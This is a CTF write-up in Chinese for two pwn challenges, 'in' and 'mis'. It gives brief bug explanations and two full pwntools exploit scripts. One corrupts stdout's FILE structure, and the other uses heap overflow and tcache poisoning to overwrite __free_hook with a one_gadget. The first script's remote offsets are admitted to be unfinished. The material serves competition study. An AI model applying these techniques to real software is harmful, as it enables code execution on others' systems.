# 24 古剑山 WP_pwn
# Pwn | in

这个题目唯一的坑就是 len = size 是在循环前面,只要先赋值一下 len,可以指定堆块的地方进行任意写。
''' | |
huan_attack_pwn  | |
'''  | |
import sys | |
from pwn import *  | |
# from pwncli import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
context.terminal = ['tmux', 'splitw', '-h', '-P']  | |
# context(arch='amd64', os='linux', log_level='debug') | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './pwn'  | |
libc = '/home/yhuan/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6'  | |
host, port = "47.112.189.16:34513".split(":")  | |
print(('\033[31;40mremote\033[0m: (y)\n'  | |
'\033[32;40mprocess\033[0m: (n)'))  | |
if sys.argv[1] == 'y':  | |
r = remote(host, int(port))  | |
else:  | |
r = process(binary)  | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
libc = ELF(libc)  | |
elf = ELF(binary)  | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1  | |
se = lambda data : r.send(data)  | |
sa = lambda delim, data : r.sendafter(delim, data)  | |
sl = lambda data : r.sendline(data)  | |
sla = lambda delim, data : r.sendlineafter(delim, data)  | |
rc = lambda numb=4096 : r.recv(numb)  | |
rl = lambda time=default : r.recvline(timeout=time)  | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time)  | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True)  | |
uu32 = lambda data : u32(data.ljust(4, b'\0'))  | |
uu64 = lambda data : u64(data.ljust(8, b'\0'))  | |
lic = lambda data : uu64(ru(data)[-6:])  | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5)  | |
lg = lambda var_name: log.success(f"\033[95m{var_name} :\033[91m0x{globals()[var_name]:x}\033[0m")  | |
prl = lambda var_name : print(len(var_name))  | |
debug = lambda command='' : gdb.attach(r,command)  | |
it = lambda : r.interactive()  | |
sla('Size:\n',str(0x7c5620-0xf)) #指定到_IO_2_1_stdout_ 的 flags 倒数弟 2 位。  | |
sla('Size:\n',str(0x200000)) #申请一个靠 libc 的 chunk  | |
se('\x18') #修改 flags 位置  | |
se('\x00') #修改 write_base 位置  | |
ru('Data:\n')  | |
rc(0x18)  | |
libcbase = u64(rc(6).ljust(8,b'\x00')) - 0x3c36e0  | |
lg('libcbase')  | |
ogg = [0x4527a,0xf03a4,0xf1247]  | |
og = libcbase + ogg[0]  | |
addr = libcbase + 0x626f48  | |
lg('addr')  | |
se(p64(addr))  | |
se('\x7a\x52\x84')  | |
it()  | 
但是本地 patch 一直有问题,远程偏移就先不调了
# Pwn | mis
普通的菜单题

# add

使用 strdup 创建 chunk,输入多少字符创建的多大 chunk,而输入大小在 dword_202068 地址存放
# dele

没有 uaf
# edit

有堆溢出漏洞
# show

write 输出
篡改 size 头,放入 unsortedbin,然后用头上的 chunk 的改的大一点输入大小给 libc 地址带出来,然后就 tcache dup 打 free_hook 即可
''' | |
huan_attack_pwn  | |
'''  | |
import sys | |
from pwn import *  | |
# from pwncli import * | |
# from LibcSearcher import * | |
# from ctypes import * | |
context.terminal = ['tmux', 'splitw', '-h', '-P']  | |
context(arch='amd64', os='linux', log_level='debug')  | |
# context(arch='i386' , os='linux', log_level='debug') | |
binary = './pwn'  | |
libc = './libc.so.6'  | |
host, port = "47.106.14.25:32234".split(":")  | |
print(('\033[31;40mremote\033[0m: (y)\n'  | |
'\033[32;40mprocess\033[0m: (n)'))  | |
if sys.argv[1] == 'y':  | |
r = remote(host, int(port))  | |
else:  | |
r = process(binary)  | |
# r = gdb.debug(binary) | |
# libc = cdll.LoadLibrary(libc) | |
libc = ELF(libc)  | |
elf = ELF(binary)  | |
# srand = libc.srand (libc.time (0)) #设置种子 | |
default = 1  | |
se = lambda data : r.send(data)  | |
sa = lambda delim, data : r.sendafter(delim, data)  | |
sl = lambda data : r.sendline(data)  | |
sla = lambda delim, data : r.sendlineafter(delim, data)  | |
rc = lambda numb=4096 : r.recv(numb)  | |
rl = lambda time=default : r.recvline(timeout=time)  | |
ru = lambda delims, time=default : r.recvuntil(delims,timeout=time)  | |
rpu = lambda delims, time=default : r.recvuntil(delims,timeout=time,drop=True)  | |
uu32 = lambda data : u32(data.ljust(4, b'\0'))  | |
uu64 = lambda data : u64(data.ljust(8, b'\0'))  | |
lic = lambda data : uu64(ru(data)[-6:])  | |
padding = lambda length : b'Yhuan' * (length // 5) + b'Y' * (length % 5)  | |
lg = lambda var_name: log.success(f"\033[95m{var_name} :\033[91m0x{globals()[var_name]:x}\033[0m")  | |
prl = lambda var_name : print(len(var_name))  | |
debug = lambda command='' : gdb.attach(r,command)  | |
it = lambda : r.interactive()  | |
def menu(idx):  | |
sla('4.show\n',str(idx))  | |
def add(idx,size,ct):  | |
menu(1)  | |
sla('index: ',str(idx))  | |
sla('size: ',str(size))  | |
sa('note: ',ct)  | |
def dele(idx):  | |
menu(2)  | |
sla('index: ',str(idx))  | |
def edit(idx,ct):  | |
menu(3)  | |
sla('index: ',str(idx))  | |
sa('note: ',ct)  | |
def show(idx):  | |
menu(4)  | |
sla('index: ',str(idx))  | |
add(0,0x60,padding(0x10))  | |
add(1,0xf0,padding(0x100))  | |
add(3,0x60,padding(0x10))  | |
add(4,0xf0,padding(0x100))# unsorted_bin  | |
add(5,0x60,padding(0x10))  | |
add(6,0xf0,padding(0x100))  | |
add(7,0x60,padding(0x10))  | |
add(8,0xf0,padding(0x100))  | |
add(9,0x60,padding(0x10))  | |
add(10,0xf0,padding(0x100))  | |
add(11,0x60,padding(0x10))  | |
edit(3,b'a'*0x18+p64(0x4a1))  | |
dele(4)  | |
show(3)  | |
rc(0x20)  | |
libcbase = u64(rc(6).ljust(8,b'\x00')) - 0x3ebca0  | |
lg('libcbase')  | |
__free_hook = libcbase + libc.sym['__free_hook']  | |
ogg = [0x4f35e,0x4f365,0x4f3c2,0x10a45c]  | |
ogg_ = [0x4f29e,0x4f2a5,0x4f302,0x10a2fc]  | |
og = libcbase + ogg[2]  | |
add(13,0xf0,padding(0x10))  | |
add(14,0xf0,padding(0x10))  | |
# 3 | |
# 13 | |
# 14 | |
dele(13)  | |
edit(3,b'a'*0x18+p64(0x21)+p64(__free_hook))  | |
add(13,0x60,padding(0x10))  | |
add(15,0x60,p64(og)*2)  | |
dele(0)  | |
it()  |